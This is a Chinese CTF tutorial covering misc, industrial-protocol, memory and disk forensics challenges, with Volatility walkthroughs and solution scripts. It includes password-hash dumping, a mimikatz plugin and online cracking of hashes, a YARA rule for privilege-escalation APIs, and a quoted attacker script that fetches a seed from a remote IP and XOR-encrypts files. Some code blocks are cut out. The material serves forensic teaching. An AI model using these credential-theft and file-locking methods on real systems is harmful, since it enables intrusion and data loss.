/* Detailed source-code truncated for AI context efficiency. */

题目名有提示猫,最后应该是 Arnold 变换

python
from PIL import Image

img = Image.open('flag.png')
if img.mode == "P":
    img = img.convert("RGB")
assert img.size[0] == img.size[1]
dim = width, height = img.size

st = 33
a = 121
b = 144
for _ in range(st):
    with Image.new(img.mode, dim) as canvas:
        for nx in range(img.size[0]):
            for ny in range(img.size[0]):
                y = (ny - nx * a) % width
                x = (nx - y * b) % height
                canvas.putpixel((y, x), img.getpixel((ny, nx)))
canvas.show()
canvas.save('result.png')

加密 Word 的宏(Key)

有个加密文档,所以要破解密码,010 打开分析一下

拉到尾部范围内也是有很多字符串信息,其中有一段十六进制,但这些都解不出来没啥用,仔细往上看可以发现一些宏的现象

所以我们可以用 oletools 提取出 vba 脚本

oletools 是一套由 Decalage 开发的开源工具集

专门用于分析 Microsoft OLE2 文件(也称 OLE Compound File,如 .doc, .xls, .ppt, .msi, .vsd 等旧版 Office 格式)

以及一些现代 OpenXML 格式(.docm, .xlsm 等)

sh
pip install oletools
olevba attachment.doc
vbscript
Sub XOREncryptFile()
    Dim numbers(8) As Integer
    numbers = [19, 71, 122, 99, 65, 111, 43, 67]

    ' 查找当前目录下是否存在名为 "abc" 的文件
    If Dir(".\abc") = "" Then Exit Sub

    ' 读取 abc 文件内容
    Open ".\abc" For Binary Read Write As #FileNumber
    FileContent = Input$(LOF(FileNumber), #FileNumber)
    Close #FileNumber

    ' XOR 加密
    For i = 1 To Len(FileContent)
        EncryptedContent = EncryptedContent & Chr(Asc(Mid(FileContent, i, 1)) Xor numbers((i - 1) Mod 8))
    Next i

    ' 写入 enc 文件
    Open ".\enc" For Binary Write As #FileNumber
    Put #FileNumber, , EncryptedContent
    Close #FileNumber
End Sub

注意这里我们通过脚本可以得到 13477a63416f2b43 这个就是异或的 Key

而被 XOR 的字符串感觉像是文档最下面的那一串十六进制

然后得到密码去打开文档得到信息

text
/* Detailed source-code truncated for AI context efficiency. */

Base64 解码后得到一个 ZIP 文件

我们发现第 A 列下第二行处 04 这个地方文件名长度有问题,我们给它改回去改成 08

破解伪加密后拿到 flag

LOLCODE

打开文件

LOLCODE 是一种诙谐幽默的 怪诞型编程语言(Esoteric Programming Language),诞生于 2007 年,由 Adam Lindsay 设计。灵感来源于早期互联网流行的 LOLCats 文化,那种用滑稽错误英语(Engrish)写出来的迷因图,如 “I CAN HAS CHEEZBURGER?”。

这门语言本质是为了搞笑,语言结构模仿这种“猫语+错别字+网民黑话”,不具备实用性,但具备完整的编程语法特征

功能 C语言写法 LOLCODE 写法
定义变量 int x = 5; I HAS A X ITZ 5
输出 printf("hi"); VISIBLE "hi"
条件 if ... else O RLY? YA RLY NO WAI
循环 while IM IN YR LOOP ... IM OUTTA YR LOOP
输入 scanf GIMMEH VAR

解密得到 Key

解压缩包得到 1.docx,内容提示 AES,无其他内容,尝试将 docx 修改成 .zip 解压发现 fllllllllll1ag.txt

Emoji 符号加上之前提示的 AES,猜测为 Emoji-AES,Key 继续猜测为之前的 Key,有点小脑洞 Rotation=4

Folders

一个流量包,wireshark 打开,追踪最后一个 TCP 流

读一下请求,发现是进入到了 flag 目录下执行了 tree 命令

得到的 response 是 gzip 压缩后的,取出内容,然后解压得到 tree 的结果

sh
flag
`-- New\ folder
    |-- New\ folder
    |   |-- New\ folder
    |   |-- New\ folder\ (2)
    |   |-- New\ folder\ (3)
    |   `-- New\ folder\ (4)
    `-- New\ folder\ (2)
        |-- New\ Folder\ (3)
        |   |-- New\ folder
        |   |   |-- New\ folder
        |   |   |   |-- New\ folder
        |   |   |   |-- New\ folder(2)
        |   |   |   |   `-- New\ folder
        |   |   |   |-- New\ folder(3)
        |   |   |   |   `-- New\ folder
        |   |   |   `-- New\ folder(4)
        |   |   |       `-- New\ folder
        |   |   `-- New\ folder(2)
        |   |       |-- New\ folder
        |   |       |-- New\ folder(2)
        |   |       |   `-- New\ folder
        |   |       |-- New\ folder(3)
        |   |       |   `-- New\ folder
        |   |       `-- New\ folder(4)
        |   |-- New\ folder(10)
...

不难发现,是一堆空文件夹形成的结构

然后就回想起了之前看到的一种 esolang 叫 Folders,是通过一堆嵌套的空文件夹编写的,这个可能就是

先重建起这个目录结构,没找到逆 tree 的现成工具,只好手写一个了

python
import os
from pathlib import Path

with open("test", "r") as f:
    tree = f.readlines()

path = Path("flag")
last_level = -1

for each in tree:
    level = each.find("N")//4
    if level < last_level:
        path = path.parent
    if level == last_level:
        path = path.parent
    diff = last_level - level
    for _ in range(diff):
        path = path.parent
    path = path / each.strip().replace("\\", "")
    last_level = level
    os.makedirs(path)

得到 flag:vnctf{d23903879df57503879bcdf1efc141fe}

参考链接

Minecraft JSON

这题要在《我的世界》这个游戏里面做任务,拿到最后一本书才能拿到 flag

Everything 搜索 flag 关键字,发现 .minecraft\saves\Where is the flag 存档目录

找到任务

在 JSON 文件里找有关书的线索

一共有四个,结合起来就是 GKCTF{w3lc0me_t0_9kctf_2021_Check_1n}

Git 历史版本

网页啥也没有,先扫他目录

有个 flag.txt,但是是假的

还有个 .git 文件,下载下来查看

git show 查看历史版本找到 flag

数据逆序

原理是通过分析文件末十六进制数据推测出数据是倒序的

放入 WinHex 中发现文件末尾是 PNG

编写脚本将数据逆序排列,然后

python
def reverse_hex_string(hex_str):
    # 将字符串按两个字符分组,然后逆序
    reversed_hex_str = ''.join([hex_str[i:i + 2] for i in range(0, len(hex_str), 2)][::-1])

    file_name = '十六进制逆序结果.txt'

    # 将十六进制字符串转换为字节对象
    reversed_hex_str = bytes.fromhex(reversed_hex_str)

    # 打开文件写入
    with open(file_name, 'wb') as f:
        f.write(reversed_hex_str)


def main():
    # 文件十六进制数据
    hex_string = ""

    reverse_hex_string(hex_string)


if __name__ == '__main__':
    main()

重命名后打开拿到 flag

Git Stash

stash 用于保存 git 工作状态到 git 栈,在需要的时候再恢复

尝试访问敏感目录,发现 .git 目录

text
http://challenge-397308928286c868.sandbox.ctfhub.com:10800/.git/config

利用 GitHack 工具将网站源代码 Clone 到本地

text
python2 GitHack.py http://challenge-397308928286c868.sandbox.ctfhub.com:10800/.git/

执行 git stash list 发现有 stash

git stash list 用于 查看 Git 暂存栈(stash stack)中的所有保存项

执行 git stash pop 发现从 git 栈中弹出来一个文件,这个文件的内容就是 flag

git stash pop 用于 将最近的 stash 应用到当前分支,并自动从 stash 列表中删除该记录

YARA 恶意软件检测

YARA = Yet Another Ridiculous Acronym

是一个用于 恶意代码识别与分类 的开源工具

通过编写 规则(rule) 来匹配文件或内存中的 字符串、字节模式、正则表达式

安全研究员常称它为 恶意软件分析师的瑞士军刀

yara
rule test
{
    strings:
        $str1 = "UPX0" wide ascii
        $str2 = "AdjustTokenPrivileges" wide ascii
        $str3 = "LookupPrivilegeValueW" wide ascii

    condition:
        $str1 or ($str2 and $str3)
}

rule test

  • 定义了一个规则,名字叫 test

  • 当 YARA 扫描文件时,如果这个规则触发,就会输出:

    sh
    test suspicious.exe

这里定义了要匹配的字符串

  • $str1 = "UPX0" wide ascii
    • 匹配文件中是否出现 "UPX0" 这个字符串
    • ascii = 普通 ASCII 字符串
    • wide = UTF-16LE 宽字节字符串
    • 也就是说,YARA 会同时匹配 "UPX0" 和 "U\x00P\x00X\x000\x00"
  • $str2 = "AdjustTokenPrivileges" wide ascii
    • 匹配 Windows API 函数名 "AdjustTokenPrivileges",通常用于修改进程权限
  • $str3 = "LookupPrivilegeValueW" wide ascii
    • 匹配 API "LookupPrivilegeValueW",常配合上一个 API 一起用来提升权限

condition: 部分

这是判断逻辑,决定什么时候触发

yara
$str1 or ($str2 and $str3)

意思是:

  • 情况 A:文件里出现 $str1(即 "UPX0")
  • 情况 B:文件里同时出现 $str2 和 $str3(即 "AdjustTokenPrivileges" + "LookupPrivilegeValueW")

只要满足 A 或 B,这个规则就会触发

"AdjustTokenPrivileges" + "LookupPrivilegeValueW" → 这是 Windows 程序里典型的 提权 API 组合

开启终端会给出命令,匹配规则写入 rules.txt 中

DMG 文件

DMG 文件是 Mac 操作系统中的一种磁盘映像文件格式

虚拟机中有 MacOS 的话直接拖入没有则只能网上找其他工具了

打开发现需要密码

在 WinHex 中发现字符串

尝试一下解压缩

可以成功打开文件

文件格式

具体原理就是修改文件格式来隐藏原来的真实文件

前面的步骤可以参考 Zip 明文攻击那一节

这里讲解本节重要内容

打开 word 没线索

扔进 WinHex 中发现文件头是压缩文件,将文件 word 修改为 zip

解压缩后打开拿到 flag

Snow 文件

前面步骤就是编写一个时间戳脚本

如果秒数大于 40,则记为 1,否则即为 0

再将得到的二进制转另存为 7z 文件

得到 snow.txt

text
/* Detailed source-code truncated for AI context efficiency. */

使用工具提取,密码我是爆破出来的 5201314

NTFS 文件

使用工具 NtfsStreamsEditor 导出即可

文件时间戳

压缩包内容如下

在 010 Editor 中打开获取精确的时间戳

每个时间戳后三位都不一样

提取出来转 ASCII 得到压缩包密码

文件合并

下载文件在 WinHex 中发现有隐藏文件

使用工具 ForeMost 提取

提取出压缩包

找到 flag 文件

成功拿到 flag

总结

很多题目都是考了不同或者多方向的知识点,总之,学得越多越好


Hc Misc Industrial (`docs/hc-misc/industrial.md`)


comments: true


工控类

G-code 绘图

提示是 g-code,上网搜搜

打开文件发现是带有 x,y 坐标

去 NC Viewer 在线绘图拿到 flag

SPI 协议隐写

使用工具 Saleae Logic 打开文件

使用 SPI 分析协议拿到 flag

L2C 协议隐写

使用工具 Saleae Logic 打开文件

使用 L2C 分析协议拿到 flag

手柄流量隐写

打开全是 USB 流量

提取数据

shell
tshark -r .\13.pcapng -T fields -e usb.capdata > 13.txt

观察主要数据发现两处不一样的地方

参考博客

根据上面那篇博客,操纵杆的流量也分左右,各占四个字节,分别是两个字节 x 轴,两个字节 y 轴

占 4 个字节的随机变化的流量也就只有 11-14 那一部分,,就可以推断出字节 9 是左扳机流量,字节 11-14 是左摇杆流量

也可以猜出字节 10 是右扳机流量,字节 15-18 是右摇杆流量.

根据流量画图即可,注意摇杆流量是摇杆对于中心的偏移,是一个有符号整数,根据这个偏移算坐标然后绘制就行

text
/* Detailed source-code truncated for AI context efficiency. */

车钥匙信号隐写

将音频文件放入 Audacity 中解析发现有粗有细

细的认为是 0,宽的认为是 1

text
00111010010101010011000100011101001010101001100010

钥匙信号(PT224X) = 同步引导码(8bit) + 地址位(20bit) + 数据位(4bit) + 停止码(1bit)

text
sctf{01110100101010100110}

玩具车运动轨迹隐写

看看他的小车在干啥,想到可能是要分析小车的运动轨迹

查了下小车的型号后发现有一个操作手册

可以看到和给的 wav 文件是对应的,于是我们开始写脚本输出每个端口的信号情况

python
import wave
import numpy as np
import turtle

filename = 'L293_1_A1'
wavfile = wave.open(filename + '.wav','rb')
# 获取音频参数
params = wavfile.getparams()
# 解包参数:nchannels: 声道数,sampwidth: 采样宽度(字节),framerate: 采样率(Hz),nframes: 总帧数
nchannels, sampwidth, framerate, nframes = params[:4]
# 读取所有音频帧
sig = wavfile.readframes(nframes)
# 将字节数据转换为 short 类型的 numpy 数组
sig = np.frombuffer(sig, dtype=np.short)
seq = ''
# 根据采样值是否大于 1000,将其转换为 "1" 或 "0"
for i in range(0,len(sig),framerate):
    if sig[i] > 1000:
        seq += "1"
    else:
        seq += "0"
file = open(filename + '.txt','w')
file.write(seq)
file.close()

之后,再根据每个端口的信号情况,模拟出小车的运动轨迹

text
/* Detailed source-code truncated for AI context efficiency. */

4442 式接触卡隐写

下载得到 logicdata 格式文件

可以看到有时钟电平clk和数据电平data。查4442卡手册可以得知指令格式为:

  1. 每个指令从时钟高电平时数据下降沿后开始,数据从低位到高位的顺序发送

    每个命令由三个字节组成:控制字节、地址字节、数据字节。时钟高电平数据电平上升沿代表本次命令结束

  2. 与加密密钥相关的指令类型是 0x33,用于校验口令

    而 4442 卡的口令为三字节

因此我们需要找到这样一串数据:

text
0x33 0x01 flag[1] 0x33 0x02 flag[2] 0x33 0x03 flag[3]

在 6s950ms 处找到这串数据:

第一段

因此密钥的第一个字节是 0x40

重点是在时钟电平找到开始和结束标志(表现为一个较宽的峰),然后从数据电平按从高到低读取数据

第二段和第三段就在第一段后,各相隔 3 位以此类推得到 flag

text
SCTF{403110}

总结

很多题目都是考了不同或者多方向的知识点,总之,学得越多越好


Hc Misc Memory (`docs/hc-misc/memory.md`)


comments: true


前言

版权声明:

​ 文档源于项目ProbiusOfficial/Hello-CTF: 针对0基础新手编写的CTF快速入门手册 (github.com)

​ 原作者为 白猫 ,橘墨基于 Notion - ctf-archives 和 Forensics wiki 进行补充

内存取证在ctf比赛中也是常见的题目,内存取证是指在计算机系统的内存中进行取证分析,以获取有关计算机系统当前状态的信息。内存取证通常用于分析计算机系统上运行的进程、网络连接、文件、注册表等信息,并可以用于检测和分析恶意软件、网络攻击和其他安全事件

对于ctf比赛中所接触到的内存取证,选手大多拿到的都是已经提取好的内存镜像文件,也就是内存数据的原始完整拷贝,这已经从开局就大大简化了内存取证的难度,并不需要选手去考虑如何获取内存数据的完整镜像。而选手接下来所要面对的,就是对内存数据进行解析。对于内存数据,最为常用的工具便是 Volatility Framework ,其为 Volatility Foundation 所开发的一款对内存取证分析提供支持的框架,对多平台电子设备的内存数据均提供了支持,并且也支持加载第三方模块来增加功能。

!!! Tip "小窍门"
虽说内存取证最为优雅的解法就是利用 Volatility Framework ,但是都戏称:“内存取证的终点是 strings + grep ”。因为由于内存其本身就为操作系统和软件运行时的动态数据,所以绝大多数的数据都是直接以明文形式储存在内存之中的,往往直接 strings 进行提取明文字符串并加以筛选,就能获得一些意想不到的惊喜

工具安装

Python2&3与pip安装方法

首先就是安装Python和pip,在kali和一些linux发行版上,python都是自带的,但是需要注意的是,在新版本Ubuntu中,已经移除了Python2的预装。Python和pip安装方法如下:

text
sudo apt-get update  #更新源
sudo apt-get install python2   #安装python2
sudo apt-get install python-pip2   #安装pip2
sudo apt-get install python3-pip   #安装pip3

需要注意的是,在 Debian 系的系统(如 Ubuntu 或者 Kali )中,默认的软件包管理器apt会将pip2和pip3识别为相互冲突的两个软件包,所以只是用apt是无法同时安装pip2和pip3两个软件包的。由于Volatility2依赖于Python2,而Volatility3依赖于Python3,所以两个版本的pip都需要安装

建议python3-pip直接通过apt安装,而python2的pip通过以下方式进行安装:

shell
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
sudo python2 get-pip.py

下载和安装Volatility2

Volatility是一款开源的内存分析框架,主要用于从计算机内存中提取数字证据。它可以用于取证、恶意代码分析、漏洞研究、操作系统学习以及其他安全领域

当前,Volatility 已经开发到了Volatility 3,但是第三代仍然在开发阶段,其功能相较于第二代还不完善,但是第三代对Windows 10以上的Windows系统所导出的内存数据提供了更完善的支持,并实现了更快的分析速度,故建议进行内存取证工作的时候,两代Volatility 都备着(反正只是一个工具,相较于检材动辄大几G而言,完全不算大)。

Volatility2项目地址:

text
https://github.com/volatilityfoundation/volatility

如果你在国外的话,可以直接运行这个命令来获取Volatility项目

text
apt install git
git clone https://github.com/volatilityfoundation/volatility.git

在国内用这个命令的话,下载非常慢,建议直接从官方的GitHub仓库获取下来Vol2 的完整源码,直接Download ZIP即可:

从压缩包里提取文件

text
unzip [file_name] -d [destination]  #filename:你要提取的压缩包名称,destination:提取后的文件存放位置

进入文件夹,运行以下命令即可安装

text
python2 setup.py install

下载和安装Volatility3

!!! Warning "一些环境问题"
本人建议这类环境是基于Linux(本人推荐Ubuntu),使用Windows来开展工作也可以,那么Volatility 3使用pip直接安装。另外需要注意的是,Volatility 3在Windows的cmd中无法执行,因为Volatility 3所绑定的指令是vol,这与cmd中自带的指令发生冲突(vol in cmd:显示磁盘卷标和序列号(如果存在)),故如果要在Windows环境中使用Volatility 3,需要使用非cmd终端(例如Powershell)

相较于Vol 2要通过源码来编译安装,Vol 3的安装则更为人性化:直接通过pip来安装:

shell
pip3 install volatility3

!!! Warning "2&3"
需要注意的是,Linux系统中,允许Python2与Python3环境并存,但是二者的依赖库(python-dev)和第三方包(通过pip包管理器安装的第三方包)并不会共享,也就意味着如果如上文安装好Vol 2之后,相关操作也要再重复一遍

依赖安装

如果不安装依赖,Volatility很多功能都用不了

首先需要安装Python2的相关编译依赖库

shell
sudo apt install python2-dev

然后安装pip相关包:

text
pip2 install pycryptodome -i https://pypi.tuna.tsinghua.edu.cn/simple
pip2 install yara -i https://pypi.tuna.tsinghua.edu.cn/simple
pip2 install distorm3 -i https://pypi.tuna.tsinghua.edu.cn/simple

Volatility加载插件

mimikatz脚本文件下载地址

text
链接:https://pan.baidu.com/s/1HS65N4UXfuzChB9UU9vveA 
提取码:fywk

然后将这个脚本文件移动到/volatility/plugins目录下

text
mv mimkatz.py /volatility/plugins/

然后安装construct库

text
sudo pip2 install construct==2.5.5-reupload

演示题目的下载地址

本篇文章使用的案例:

text
链接:https://pan.baidu.com/s/1nD-svI98v3yQPPKT0HyEjg 
提取码:0dnx

工具的使用方法

获取内存镜像详细信息

imageinfo是Volatility中用于获取内存镜像信息的命令。它可以用于确定内存镜像的操作系统类型、版本、架构等信息,以及确定应该使用哪个插件进行内存分析

text
python2 vol.py -f Challenge.raw imageinfo  #f:指定分析的内存镜像文件名
text
上述输出中,Suggested Profile(s) 显示了 Volatility 推荐的几个内存镜像分析配置文件,可以根据这些配置文件来选择合适的插件进行内存分析
AS Layer2 显示了使用的内存镜像文件路径
KDBG 显示了内存镜像中的 KDBG 结构地址
Number of Processors 显示了处理器数量
Image Type 显示了操作系统服务包版本
Image date and time 显示了内存镜像文件的创建日期和时间

获取正在运行的程序

这里我们用Win7SP1x64配置文件进行分析,Volatility 的 pslist 插件可以遍历内存镜像中的进程列表,显示每个进程的进程 ID、名称、父进程 ID、创建时间、退出时间和路径等信息

text
python2 vol.py -f Challenge.raw --profile=Win7SP1x64 pslist

提取正在运行的程序

Volatility 的 procdump 插件可以根据进程 ID 或进程名称提取进程的内存映像,并保存为一个单独的文件

比如这里我要提取iexplore.exe这个程序

他的进程pid号为2728

text
python2 vol.py -f Challenge.raw --profile=Win7SP1x64 procdump -p 2728 -D ./
p:pid进程号
D:提取程序后保存的地址,./指的是当前shell正在运行的文件夹地址,输入pwd命令可以查看shell当前的地址,简单来说就是保存到当前文件夹

成功导出,导出后文件名为executable.2728.exe

查看在终端里执行过的命令

Volatility 的 cmdscan 插件可以扫描内存镜像中的进程对象,提取已执行的 cmd 命令,并将其显示在终端中

text
python2 vol.py -f Challenge.raw --profile=Win7SP1x64 cmdscan

他移动到了Documents目录下,echo了一次字符串,然后创建了一个名为hint.txt的文件

查看进程在终端里运行的命令

Volatility中的cmdline插件可以用于提取进程执行的命令行参数和参数值

text
python2 vol.py -f Challenge.raw --profile=Win7SP1x64 cmdline

查找内存中的文件

Volatility 的 filescan插件可以在内存中搜索已经打开的文件句柄,从而获取文件名、路径、文件大小等信息

我想找到hint.txt文件,可以使用以下命令

text
python2 vol.py -f Challenge.raw --profile=Win7SP1x64 filescan | grep hint.txt

grep是Linux下常用的命令之一,它用于在文件中查找指定的字符串,并将包含该字符串的行输出

如果只使用filescan而不配合grep的话,Volatility就会输出系统上的全部文件,例如:

提取内存中的文件

Volatility的dumpfiles插件可以用来提取系统内存中的文件

这里我要提取hint.txt文件,hint.txt的内存位置为0x000000011fd0ca70,这两个由于位置都一样,随便提取哪个都行

text
python2 vol.py -f Challenge.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000011fd0ca70 -D ./
Q:内存位置
D:提取程序后保存的地址,./指的是当前shell正在运行的文件夹地址,输入pwd命令可以查看shell当前的地址,简单来说就是保存到当前文件夹

提取出来的文件名是包含内存地址的,更改一下后缀名即可运行

查看浏览器历史记录

Volatility中的iehistory插件可以用于提取Internet Explorer浏览器历史记录

text
python2 vol.py -f Challenge.raw --profile=Win7SP1x64 iehistory

提取用户密码hash值并爆破

Volatility中的Hashdump插件可以用于提取系统内存中的密码哈希值

text
python2 vol.py -f Challenge.raw --profile=Win7SP1x64 hashdump

这里提取了四个用户的密码hash值,我们将这些字符串复制一下,粘贴到本地本文里

我们可以使用这个在线网站:

text
https://crackstation.net/

将hash值粘贴上去

就可以得到用户密码明文

使用mimikatz提取密码

mimikatz是一个开源的用于从Windows操作系统中提取明文密码,哈希值以及其他安全凭据的工具

text
python2 vol.py -f Challenge.raw --profile=Win7SP1x64 mimikatz

成功提取到TroubleMaker用户的密码

查看剪切板里的内容

Volatility中的clipboard插件可以用于从内存转储中提取剪贴板数据

text
python2 vol.py -f Challenge.raw --profile=Win7SP1x64 clipboard

查看正在运行的服务

svcscan是Volatility中的一个插件,用于扫描进程中所有的服务

text
svcscan

执行了svcscan之后,每列代表服务的一些信息,包括服务名、PID、服务状态、服务类型、路径等等

查看网络连接状态

Volatility中的netscan插件可以在内存转储中查找打开的网络连接和套接字,该命令将显示所有当前打开的网络连接和套接字。输出包括本地和远程地址、端口、进程ID和进程名称等信息

text
python2 vol.py -f Challenge.raw --profile=Win7SP1x64 netscan

查看注册表信息

printkey是Volatility工具中用于查看注册表的插件之一。它可以帮助分析人员查看和解析注册表中的键值,并提供有关键值的详细信息,如名称、数据类型、大小和值等

text
python2 vol.py -f Challenge.raw --profile=Win7SP1x64 printkey

然后使用hivelist插件来确定注册表的地址

text
python2 vol.py -f Challenge.raw --profile=Win7SP1x64 hivelist

查看注册表software项

hivedump是一个Volatility插件,用于从内存中提取Windows注册表的内容,这里我们选择第一个来演示

text
python2 vol.py -f Challenge.raw --profile=Win7SP1x64 hivedump -o 0xfffff8a00127d010
o:hivelist列出的Virtual值

根据名称查看具体子项的内容,这里以SAM\Domains\Account\Users\Names做演示,这个是Windows系统中存储本地用户账户信息的注册表路径,它包含了每个本地用户账户的名称和对应的SID信息

text
python2 vol.py -f Challenge.raw --profile=Win7SP1x64 printkey -K "SAM\Domains\Account\Users\Names"

如果要提取全部的注册表,可以用这个命令

text
python2 vol.py -f Challenge.raw --profile=Win7SP1x64 dumpregistry -D ./

全部插件

text
/* Detailed source-code truncated for AI context efficiency. */

磁盘镜像取证

未知文件(VS Code)

附件下载

让咱找邮件地址

数据太多了,关键字搜索找到可疑邮件地址

VMDK(DiskGenius)

使用工具 DiskGenius 打开虚拟磁盘拿到解压密码

AD1(FTK Imager)

前面已经解出密码是 123

使用工具 FTK Imager 打开文件

成功解出,慢慢找线索吧

Ext4(WinHex)

题目附件下载链接

text
JoSchmoTechCo 的服务器遭到攻击!包含他们极其重要的公司机密的文件夹全部被锁起来了
幸运的是,系统管理员足够聪明,在整个过程结束时捕获了网络流量并获取了内存样本
受害用户在损失已经造成后,也在慌乱之中输入了一些内容。我们有该事件发生后的磁盘图像
您能恢复他们的文件并找出受害者输入的内容吗?

首先先解压缩文件,我 Windows 可以直接用 7-Zip

拖入 WinHex 中将镜像文件转换为磁盘

在 home 目录下找到加密的 img 以及一个 Python 文件

右键这两个文件恢复出来

Python 文件代码如下:

python
#!/usr/bin/env python3

import random
import socket
import sys
import time

f_if = sys.argv[1]
f_of = sys.argv[2]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("149.28.14.135", 9281))

seed = s.recv(1024).strip()
s.close()

random.seed(seed)

with open(f_if, "rb") as f:
	data = f.read()

stream = random.randbytes(len(data))
encrypted = bytearray()

for i in range(len(data)):
	encrypted.append(data[i] ^ stream[i])

with open(f_of, "wb") as f:
	f.write(encrypted)

做了一个异或加密,我们再异或回去即可,但是得先拿到随机数种子

shell
tshark -r network -Y "tcp.port == 9281" -T fields -e data | xxd -r -p

再编写脚本异或解密

python
import random


def main():
    seed = "eng0jieh7ahga7eidae6taebohhaicaeraef5ahng8ohb2Tho3ahz7ojooXeixoh0thoolung7eingietai8hiechar6ahchohn6uwah2Keid5phoil7Oovool3Quai"

    random.seed(seed)

    with open('./encrypted.img', "rb") as f:
        data = f.read()

    stream = random.randbytes(len(data))

    decrypted = bytearray()

    for i in range(len(data)):
        decrypted.append(data[i] ^ stream[i])

    with open('./decrypted.img', "wb") as f:
        f.write(decrypted)


if __name__ == '__main__':
    main()

解密后再托入 WinHex 中找到一张图片

同样恢复出来

打开拿到第一段 flag

第二段将内存转储 mem 恢复出来(试过但是报错了)

FAT32(VeraCrypt)

7-Zip 提取 FAT32 文件

使用工具 VeraCrypt 挂载文件,密码是 rctf

在 vmdk 十六进制中可以找到密码和第一段 flag

图片本身没用,只有名字是提示,password 给出了第二个密钥

在挂载输入密码的时候,不同的密码可以进入不同的文件系统

这里打不开磁盘提示格式化,使用 WinHex

拿到第二段 flag

FAT16 文件恢复

在 Kali Linux 中使用 file 查看文件类型

在 WinHex 中将文件转为磁盘

有个 payload.dd 文件,结合题目应该就是我们想要的

右键将其恢复即可

UBIfs(Ubireader Extract Files)

下载附件并解压得到四个 bin 文件

如果我们对所有图像运行文件,我们可以看到它们是 UBIFS 图像

安装工具

text
sudo apt-get update
sudo apt-get install liblzo2-dev
sudo pip3 install python-lzo
sudo pip3 install ubi_reader

挂载

shell
# ubireader_extract_files 工具提取每个 .bin 文件的内容,并将提取的文件保存到以 extracted_ 为前缀、原始 .bin 文件名为后缀的目录中
for i in `ls *.bin`; do ubireader_extract_files $i -o extracted_$i; done

在最后一个文件下发现 video

最后成功找到 flag

dd(Autopsy)

先解压缩

sh
gzip -d disko-2.dd.gz

启动

sh
sudo autopsy

创建新案例

创建成功

然后这一步可以什么都不填

添加镜像

添加完后如下

点击第一个分析

选择关键字搜索,输入关键字,点击搜索

点击左边的 Hex 看到原始数据拿到 flag

点击右边的 ASCII 也可以,看上图可以看到有很多个值

切换到 /1/ 只找到一个 flag,提交为真

Windows 取证

查看编辑内容(Volatility 2)

取证第一步先确定操作系统

查看编辑内容

往下滚动看到加密字符,结合倒转的题目名,推测出这个倒转的 AES 加密

抓取流量

解压缩文件使用 imageinfo 查看镜像,具体步骤可参考上一节

继续使用 pslist 查看进程,注意这个 nc.exe

木马肯定要建立远程连接的,使用 netscan 扫描网络连接

使用进程号 dump 出来

使用 BinWalk 发现啥文件也没有

使用 Strings 过滤出来拿到 flag

TrueCrypt 解密(VeraCrypt)

下载附件,由题可知内存镜像为附件 1

先查看什么系统

shell
python2 vol.py -f '/home/morant/附件1' imageinfo

查看进程,发现有 TrueCrypt 的存在

shell
python2 vol.py -f '/home/morant/附件1' --profile=Win7SP1x64 pslist

同时进一步分析 附件 2,特征非常明显,基本无法看出文件结构,几乎没有可以提取的字符串,且大小刚好为 100MiB 整

因此推测可能为 TrueCrypt 或者VeraCrypt 加密容器,结合内存分析,推测为 TrueCrypt 加密容器,因此继续分析内存镜像

使用 Volatility2 的 truecrypt 相关插件进行分析:

shell
python2 vol.py -f '/home/morant/附件1' --profile=Win7SP1x64 truecryptsummary

拿到密码

shell
CZYWS_s4zyd_User

(下面的因为笔者的 VeraCrypt 不支持 truecrypt 了,所以用下原文的图)

挂载上之后,可以看到目录下有一个文件,名为 ECB,内容乱码

根据常识可知,ECB 为 AES 加密的一种工作模式

尝试进行解密,但是密码是什么呢?

通过回顾解题过程,能发现找到了一个密码,即 CZYWS_s4zyd_User,长度刚好为 16 字节,即 128bit,符合 AES 128 位密钥的特征,尝试解密

翻译一下

text
您知道如何通过这个解密文件解密隐藏卷吗?

怀疑使用了 VeraCrypt 的隐藏卷功能,因此尝试打开该加密卷的隐藏加密卷

发现解密失败,无法挂载,不知道哪里错了,重新往回看,发现提到了 "by this decrypted file"

怀疑是使用了密钥文件来作为解密密钥,因此将之前解密后的文件下载并尝试使用密钥文件的模式来解密

成功挂载后就能看到 专家名单

获取 md5

shell
md5sum 专家名单.xslx		# DASCTF{c2c68e18fa4f01a4877a586104e7c721}

查看计算机名(MemProcFS)

工具使用说明

参数 说明
-device 选择内存获取设备或转储文件。例如:PMEM、FPGA、<内存转储文件路径>。 -f 和 -z 等价于 -device。
-remote 连接到运行 LeechAgent 的远程主机。详见 LeechCore 文档。
-remotefs 连接到远程 LeechAgent 所托管的 MemProcFS。
-v / -vv / -vvv 不同等级的详细输出模式(普通、非常详细、超级详细)。
-version 显示版本信息。
-logfile 指定日志文件路径。
-loglevel 指定日志的详细级别,使用逗号分隔。例:-loglevel 4,f:5,f:VMM:6
-max 指定最大内存地址范围(默认自动检测)。范围:0x0 到 0xffffffffffffffff。
-memmap-str 直接在参数中指定物理内存映射。
-memmap 指定内存映射文件或使用 auto 自动识别。例:-memmap auto 或 -memmap c:\temp\map.txt
-pagefile0..9 指定页面文件或交换文件。例:-pagefile0 pagefile.sys,-pagefile1 swapfile.sys
-pythonexec 启动时在 memprocfs 上下文中执行 Python 脚本。例:-pythonexec C:\Temp\my_script.py
-pythonpath 指定 Python3 安装目录(含 python.dll)。例:-pythonpath "C:\Program Files\Python37"
-disable-python 禁用 Python 插件子系统加载。
-disable-symbolserver 禁用 Microsoft 符号服务器集成。
-disable-symbols 禁用 .pdb 符号文件的查找。
-disable-infodb 禁用 infoDB 以及相关符号查找功能。
-mount 指定挂载驱动器(默认:M 盘)。例:-mount Q
-norefresh 禁止自动缓存/进程刷新(不推荐)。适用于 FPGA/live memory。
-waitinitialize 等待 .pdb 符号系统完全初始化后再挂载文件系统。
-userinteract 允许控制台交互(如选择设备选项)。默认禁用。可与 -forensic 联用。
-vm 启用虚拟机(VM)解析。
-vm-basic 启用仅解析物理内存的虚拟机模式。
-vm-nested 支持嵌套虚拟机解析。
-license-accept-elastic-license-2-0 接受 Elastic License 2.0,用于启用内置 Yara 规则。
-forensic-process-skip 指定不扫描的进程名列表(用逗号分隔)。
-forensic-yara-rules 指定用于法医扫描的 Yara 规则文件(源文件或编译文件)。例:-forensic-yara-rules "C:\Temp\rules.yar"
